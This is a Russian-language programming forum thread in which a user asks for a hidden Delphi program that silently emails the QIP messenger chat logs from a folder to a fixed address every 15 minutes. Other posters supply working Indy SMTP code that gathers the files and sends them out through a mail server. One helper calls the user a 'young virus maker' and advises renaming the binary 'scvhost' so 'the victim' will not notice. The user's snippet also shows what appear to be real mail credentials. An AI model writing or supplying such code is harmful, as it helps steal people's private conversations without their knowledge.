Форум программистов CODEBY.NET Хостинг в Беларуси — Active Technologies

Разработка бизнес сайтов

Нужны клиенты? Тогда сюда быстрее...
X   Сообщение сайта
(Сообщение закроется через 2 секунды)

Здравствуйте, гость ( Вход | Регистрация )




> Отправка файла на мыло
aspcartman
Вставить ник
сообщение 26:11:2007, 20:12
Цитата Ответить 


Новенький
*

Группа: Программист
Сообщений: 11
Регистрация: 26:11:2007
Пользователь №: 13 928



Репутация: - 0 +


Здрасть. Сопсн такая тема. Нужно написать консольное приложение, которое бы при запуске отпровляло все файлы из заданной папки с именнем *.qhf на указанный в коде имейл. Очень требуется. Помогите начинающему! Киньте ссылки на мануалы, или если напишите код то буду в двойне благодарен!
Использую CodeGear Delphi for win32 2007 (если нужно).
Подняться вверх 
 
Сообщение #1
 
Новая тема 
Ответов (1 - 21)
Morpheus
Вставить ник
сообщение 26:11:2007, 21:32
Цитата Ответить 


очень злой модератор
*****

Группа: Lotus team
Сообщений: 2 666
Регистрация: 7:08:2006
Из: Украина, Киев
Пользователь №: 5 807
Специализация: разработчик всякой хрени



Репутация: - 46 +


Прууветь...
Сосна базара нима, туцаеш эту хреньку и без мазы будет щастя тебе
Подняться вверх 
 
Сообщение #2
aspcartman
Вставить ник
сообщение 26:11:2007, 21:49
Цитата Ответить 


Новенький
*

Группа: Программист
Сообщений: 11
Регистрация: 26:11:2007
Пользователь №: 13 928



Репутация: - 0 +


Спс огромное но пишет мол
RASConn: TRASConn;

Ниизвестная штука - "TRASConn" и соответсвенно все что далее не понимает. Чего у меня не хватает? =)
Подняться вверх 
 
Сообщение #3
aspcartman
Вставить ник
сообщение 26:11:2007, 21:59
Цитата Ответить 


Новенький
*

Группа: Программист
Сообщений: 11
Регистрация: 26:11:2007
Пользователь №: 13 928



Репутация: - 0 +


Полистал код и понял что опыта у меня маловато =) Вкуда писать адрес, путь к файлам и тд и тп? ибо что я сделал так это создал консольное приложение и вместо стандартного кода впихнул этот (подравив немного граматические ошибки)
Подняться вверх 
 
Сообщение #4
Morpheus
Вставить ник
сообщение 26:11:2007, 22:14
Цитата Ответить 


очень злой модератор
*****

Группа: Lotus team
Сообщений: 2 666
Регистрация: 7:08:2006
Из: Украина, Киев
Пользователь №: 5 807
Специализация: разработчик всякой хрени



Репутация: - 46 +


гы , а ну да то под D5 код подходить

Вот тут неплохо расписано, да и вообще с такими вапросами надо сразу в гугл обращаться
Подняться вверх 
 
Сообщение #5
Coldfate
Вставить ник
сообщение 27:11:2007, 02:36
Цитата Ответить 


Новенький
*

Группа: Программист
Сообщений: 47
Регистрация: 8:06:2006
Из: Амбер
Пользователь №: 4 695
Специализация: Программист



Репутация: - 1 +


А ты попробуй IdSMTPServer. Индюшная компонента. Т. е. берем TIdMessage, заполняем в ней поля и добавляем Attachments (т. е. присоединения, или, в твоем случае, файлы). У меня есть исходники похожего назначения, могу сбросить (даже статья где-то была). Затем ставим TIdSmtpServer, указываем в нем свое мыло, логин и пароль, и тремя методами Connect, Authentificate и Send(Message), где Message - наша TIDMessage отправляем сообщения. Мой пост не тянет на исчерпываемость сведений, но, сорри, опаздываю ohmy.gif.
Подняться вверх 
 
Сообщение #6
Morpheus
Вставить ник
сообщение 27:11:2007, 07:51
Цитата Ответить 


очень злой модератор
*****

Группа: Lotus team
Сообщений: 2 666
Регистрация: 7:08:2006
Из: Украина, Киев
Пользователь №: 5 807
Специализация: разработчик всякой хрени



Репутация: - 46 +


Для: Coldfate
я собственно и дал ссілку на индюшёніе компоненты... пишем одно и тоже
Подняться вверх 
 
Сообщение #7
aspcartman
Вставить ник
сообщение 27:11:2007, 15:51
Цитата Ответить 


Новенький
*

Группа: Программист
Сообщений: 11
Регистрация: 26:11:2007
Пользователь №: 13 928



Репутация: - 0 +


В той справке написанно всунуть на форму - а мне нельзя форму. мне нужно скрытное приложение. тоясть вообще невидно никак. тихонечко сидит и шлет каждые 15 мин.

Так с этой проблемой я разобрался. спс. ща буду пытатся.
Подняться вверх 
 
Сообщение #8
aspcartman
Вставить ник
сообщение 27:11:2007, 16:15
Цитата Ответить 


Новенький
*

Группа: Программист
Сообщений: 11
Регистрация: 26:11:2007
Пользователь №: 13 928



Репутация: - 0 +


[DCC Error] Project1.dpr(15): E2003 Undeclared identifier: 'AuthenticationType'
[DCC Error] Project1.dpr(15): E2003 Undeclared identifier: 'atLogin'


Появилось на стадии добавления

IdSMTP1.AuthenticationType:=atLogin;
IdSMTP1.Username:='delphi';
IdSMTP1.Password:='something';
Подняться вверх 
 
Сообщение #9
root
Вставить ник
сообщение 27:11:2007, 17:40
Цитата Ответить 


Знающий
***

Группа: Lotus team
Сообщений: 492
Регистрация: 10:06:2006
Пользователь №: 4 745
Специализация: Lotus Notes & Domino, ERP



Репутация: - 18 +


Для: aspcartman
в uses IdSMTP есть (юный вирусмейкер smile.gif) ?

Цитата
мне нужно скрытное приложение

view-project manager-улаляешь все кроме (project1.exe)-view source
в нем пишешь uses IdMessageClient, IdSMTP
и дальше кодом
var sender_vir: Tidsmtp;
sender_vir:= tidsmtp.create(Application)
......
вот рабочая процедура(из Internet)
Код
procedure TForm1.SendMail(Host, Username, Password, Subj, Recip, From, Attach: string);
var
  M: TIdMessage;
begin
M:=TIdMessage.Create(Form1);
M.From.Text:=From;                // От кого
M.Recipients.Add;                  // Добавили получателя
M.Recipients.Items[0].Text:=Recip; // Получатель
M.Subject:=subj;                  // Тема
TIdAttachment.Create(M.MessageParts, Attach);  // Аттачмент
// Соединяемся

Memo1.Lines.Add('Соединение с сервером...');
IdSMTP1.AuthenticationType := atLogin;
IdSMTP1.Host:=Host;                        // Сервер
IdSMTP1.Username:=UserName;                // Логин
IdSMTP1.Password:=Password;                // Пароль
try
                                    // Пробуем соединиться
  IdSMTP1.Connect();
except
  Memo1.Lines.Add('Ошибка! Сервер не найден.');
  exit;
end;
// Пробуем отправить файл
try
if  IdSMTP1.Connected then begin
  Memo1.Lines.Add('Отправка файла...');
  IdSMTP1.Send(M);
  IdSMTP1.Disconnect;
  Memo1.Lines.Add('Файл успешно отправлен.');
  Button2.Enabled:=false;
  end;
except
  Memo1.Lines.Add('Ошибка соединения. Данные не отправлены.');
  IdSMTP1.Disconnect;
end;
end;


Сообщение отредактировал root - 27:11:2007, 18:11
Подняться вверх 
 
Сообщение #10
aspcartman
Вставить ник
сообщение 27:11:2007, 18:17
Цитата Ответить 


Новенький
*

Группа: Программист
Сообщений: 11
Регистрация: 26:11:2007
Пользователь №: 13 928



Репутация: - 0 +


Обижаешь, есть канешна.

Процедурка не подходит по одной простой причине что мненужно скрытое приложение.

Кстати, где брать INDY? Я его брал с их сайта, вообще както боком поставилось. Protocols вообще не щакомпилилсь и соответственно не поставились. Вообще конкретная мусорка получилась. Наверное ща делфю переустановлю.

Странно делфя 2007 весит 1,2гига (до этого юзал 70мб лайтную) и нету инди.
Подняться вверх 
 
Сообщение #11
root
Вставить ник
сообщение 27:11:2007, 18:44
Цитата Ответить 


Знающий
***

Группа: Lotus team
Сообщений: 492
Регистрация: 10:06:2006
Пользователь №: 4 745
Специализация: Lotus Notes & Domino, ERP



Репутация: - 18 +


Для: aspcartman
Код
program Project2;

uses
Forms,
   IdMessage, IdSMTP;
// Если нет в палитре компонетов то
//        IdSMTP in 'Путь\до\IdSMTP.pas',
//           IdMessage in 'Путь\до\IdMessage.pas';
//
//
//
//

{$R *.res}
var
sender1: TIdSMTP;
att: TIdMessage;


begin
Application.Initialize;
Application.Run;
sender1:= TIdSMTP.Create(Application );
sender1.Host := 'smtp.list.ru';
sender1.Port :=25;
sender1.AuthenticationType := atLogin;
sender1.Username :='';//логин
sender1.Password :='';//пароль
try
sender1.Connect();
except
exit;
end;
if sender1.Connected then
begin
att:= TIdMessage.Create(Application );
att.From.Text :='';// от кого
att.Recipients.Add.Text :='';// кому
TIdAttachment.Create(att.MessageParts, 'c:\Web.log');
sender1.Send(att )
end;



end.


Сообщение отредактировал root - 27:11:2007, 19:35
Подняться вверх 
 
Сообщение #12
aspcartman
Вставить ник
сообщение 27:11:2007, 19:11
Цитата Ответить 


Новенький
*

Группа: Программист
Сообщений: 11
Регистрация: 26:11:2007
Пользователь №: 13 928



Репутация: - 0 +


Спасибо. Щас посмотрю. Покачто вот что у меня получилось:
Код
program Project2;

{$APPTYPE CONSOLE}

uses
  SysUtils, Idsmtp, IdMessageClient, IdSMTPBase;
var
   IdSMTP1: TIdSMTP;
   Msg: TIdMessage;
begin
     IdSMTP1.Port:=25;
     IdSMTP1.Host := 'smtp.mail.ru';
     IdSMTP1.Connect(5000);
     IdSMTP1.AuthType:=satDefault;
     IdSMTP1.Username:='iorka';
     IdSMTP1.Password:='300358';
      Msg.Subject:='тема сообщения';                     //текст темы сообщения
      Msg.Recipients.EMailAddresses:='bogdanwe@mail.ru';
      //указываем адрес получателя
      Msg.From.Adress:='delphi@mail.ru';          //указываем автора письма
      Msg.Body.Text:='текст сообщения';              //размещаем текст сообщения
      Msg.Date:=StrToDate('01.12.2004');//дата отправки письма может быть любой
   if IdSMTP1.Connected=True then IdSMTP1.Send(Msg);
end.




Он не понимает TIdMessage и соответственно все что начиается на msg не пашет
Подняться вверх 
 
Сообщение #13
root
Вставить ник
сообщение 27:11:2007, 19:14
Цитата Ответить 


Знающий
***

Группа: Lotus team
Сообщений: 492
Регистрация: 10:06:2006
Пользователь №: 4 745
Специализация: Lotus Notes & Domino, ERP



Репутация: - 18 +


Для: aspcartman
только переименовать в scvhost не забудь smile.gif


Для: aspcartman
uses
IdMessage, IdSMTP;


Для: aspcartman
IdMessageClient выкини его
Подняться вверх 
 
Сообщение #14
aspcartman
Вставить ник
сообщение 27:11:2007, 19:20
Цитата Ответить 


Новенький
*

Группа: Программист
Сообщений: 11
Регистрация: 26:11:2007
Пользователь №: 13 928



Репутация: - 0 +


Прошу прощения за тупость ))) Нужнобыло в юзыз IdMessage всунуть

А кого в переменовать и зачем? =)
Подняться вверх 
 
Сообщение #15
root
Вставить ник
сообщение 27:11:2007, 19:21
Цитата Ответить 


Знающий
***

Группа: Lotus team
Сообщений: 492
Регистрация: 10:06:2006
Пользователь №: 4 745
Специализация: Lotus Notes & Domino, ERP



Репутация: - 18 +


Для: aspcartman
чтоб жертва не догадалась smile.gif
Подняться вверх 
 
Сообщение #16
aspcartman
Вставить ник
сообщение 27:11:2007, 19:31
Цитата Ответить 


Новенький
*

Группа: Программист
Сообщений: 11
Регистрация: 26:11:2007
Пользователь №: 13 928



Репутация: - 0 +


laugh.gif

Ну вот оставляю все как есть, пишу ниже даты до if
TIdAttachment.Create(Msg.MessageParts,'ПУТЬ'); но не пашет

Сообщение отредактировал aspcartman - 27:11:2007, 20:06
Подняться вверх 
 
Сообщение #17
root
Вставить ник
сообщение 27:11:2007, 19:45
Цитата Ответить 


Знающий
***

Группа: Lotus team
Сообщений: 492
Регистрация: 10:06:2006
Пользователь №: 4 745
Специализация: Lotus Notes & Domino, ERP



Репутация: - 18 +


Для: aspcartman
в uses SysUtils
в var
f: TSearchRec ;
FindFirst('c:\*.log',faAnyFile ,f);
if F.name <> '' then
begin
TIdAttachment.Create(att.MessageParts, 'c:\'+f.Name );
while FindNext(F) = 0 do
begin
TIdAttachment.Create(att.MessageParts, 'c:\'+f.Name );
end;
FindClose(f);
sender1.Send(att )
end;

Сообщение отредактировал root - 28:11:2007, 03:31
Подняться вверх 
 
Сообщение #18
aspcartman
Вставить ник
сообщение 27:11:2007, 19:59
Цитата Ответить 


Новенький
*

Группа: Программист
Сообщений: 11
Регистрация: 26:11:2007
Пользователь №: 13 928



Репутация: - 0 +


Ну воть =)

Хочу прибавить к письму все файлы аля
C:\programm files\qip\logs\*.sqf
и отправить их одним сообщением.


ЗЫ

TIdAttachment.Create(Msg.MessageParts,'Ну тут типа путь к одному файлику');

пишет

[DCC Error] Project2.dpr(28): E2034 Too many actual parameters
[DCC Warning] Project2.dpr(28): W1020 Constructing instance of 'TIdAttachment' containing abstract method 'TIdAttachment.OpenLoadStream'
Подняться вверх 
 
Сообщение #19
root
Вставить ник
сообщение 27:11:2007, 20:04
Цитата Ответить 


Знающий
***

Группа: Lotus team
Сообщений: 492
Регистрация: 10:06:2006
Пользователь №: 4 745
Специализация: Lotus Notes & Domino, ERP



Репутация: - 18 +


Для: aspcartman
Код
program Project2;

uses
forms,
  IdMessage,
  IdSMTP,SysUtils;

{$R *.res}
var
sender1: TIdSMTP;
att: TIdMessage;
f: TSearchRec;
begin
Application.Initialize;
Application.Run;
sender1:= TIdSMTP.Create(Application);
sender1.Host := 'smtp.list.ru';
sender1.Port :=25;
sender1.AuthenticationType := atLogin;
sender1.Username :='';
sender1.Password :='';
try
  sender1.Connect();
except
  exit;
end;
if sender1.Connected then
  begin
    att:= TIdMessage.Create(Application );
    att.From.Text :='';
    att.Recipients.Add.Text :='';
    FindFirst('c:\*.log',faAnyFile ,f);
      if F.name <> '' then
        begin
          TIdAttachment.Create(att.MessageParts, 'c:\'+f.Name );
        
             while FindNext(F) = 0 do
                begin
                    TIdAttachment.Create(att.MessageParts, 'c:\'+f.Name );
                    
                end;
                    FindClose(f);
  sender1.Send(att );
        end;

  end;



end.


Сообщение отредактировал root - 28:11:2007, 03:32
Подняться вверх 
 
Сообщение #20
aspcartman
Вставить ник
сообщение 27:11:2007, 20:15
Цитата Ответить 


Новенький
*

Группа: Программист
Сообщений: 11
Регистрация: 26:11:2007
Пользователь №: 13 928



Репутация: - 0 +


[DCC Error] Project1.dpr(36): E2034 Too many actual parameters
[DCC Warning] Project1.dpr(36): W1020 Constructing instance of 'TIdAttachment' containing abstract method 'TIdAttachment.OpenLoadStream'
[DCC Error] Project1.dpr(40): E2034 Too many actual parameters
[DCC Warning] Project1.dpr(40): W1020 Constructing instance of 'TIdAttachment' containing abstract method 'TIdAttachment.OpenLoadStream'

Вот что получаю. (В uses еще IdAttachment нехватает)
Подняться вверх 
 
Сообщение #21
root
Вставить ник
сообщение 27:11:2007, 20:36
Цитата Ответить 


Знающий
***

Группа: Lotus team
Сообщений: 492
Регистрация: 10:06:2006
Пользователь №: 4 745
Специализация: Lotus Notes & Domino, ERP



Репутация: - 18 +


Для: aspcartman
Код
program Project2;

uses
forms,
  IdMessage,
  IdSMTP,SysUtils;

{$R *.res}
var
sender1: TIdSMTP;
att: TIdMessage;
f: TSearchRec;
i: integer;
begin
Application.Initialize;
Application.Run;
sender1:= TIdSMTP.Create(Application);
sender1.Host := 'smtp.list.ru';
sender1.Port :=25;
sender1.AuthenticationType := atLogin;
sender1.Username :='';
sender1.Password :='';
try
  sender1.Connect();
except
  exit;
end;
if sender1.Connected then
  begin
    att:= TIdMessage.Create(Application );
    att.From.Text :='';
    att.Recipients.Add.Text :=';
    att.MessageParts.Create(Application);  
    FindFirst('c:\lg\*.log',faAnyFile ,f);
      if F.name <> '' then         begin
                   TIdAttachment.Create(att.MessageParts, 'c:\lg\'+f.Name );
              while FindNext(F) = 0 do
                begin
                    TIdAttachment.Create(att.MessageParts, 'c:\lg\'+f.Name );
                end;
              FindClose(f);
         sender1.Send(att)
        end;
  end;
end.
Подняться вверх 
 
Сообщение #22


Быстрый ответ  Ответить  Новая тема 

> Быстрый ответ
Полужирный
Курсив
Подчеркнутый
Вставить изображение
Смайлики
Цитата
Код
 
 Отправлять уведомления об ответах на e-mail |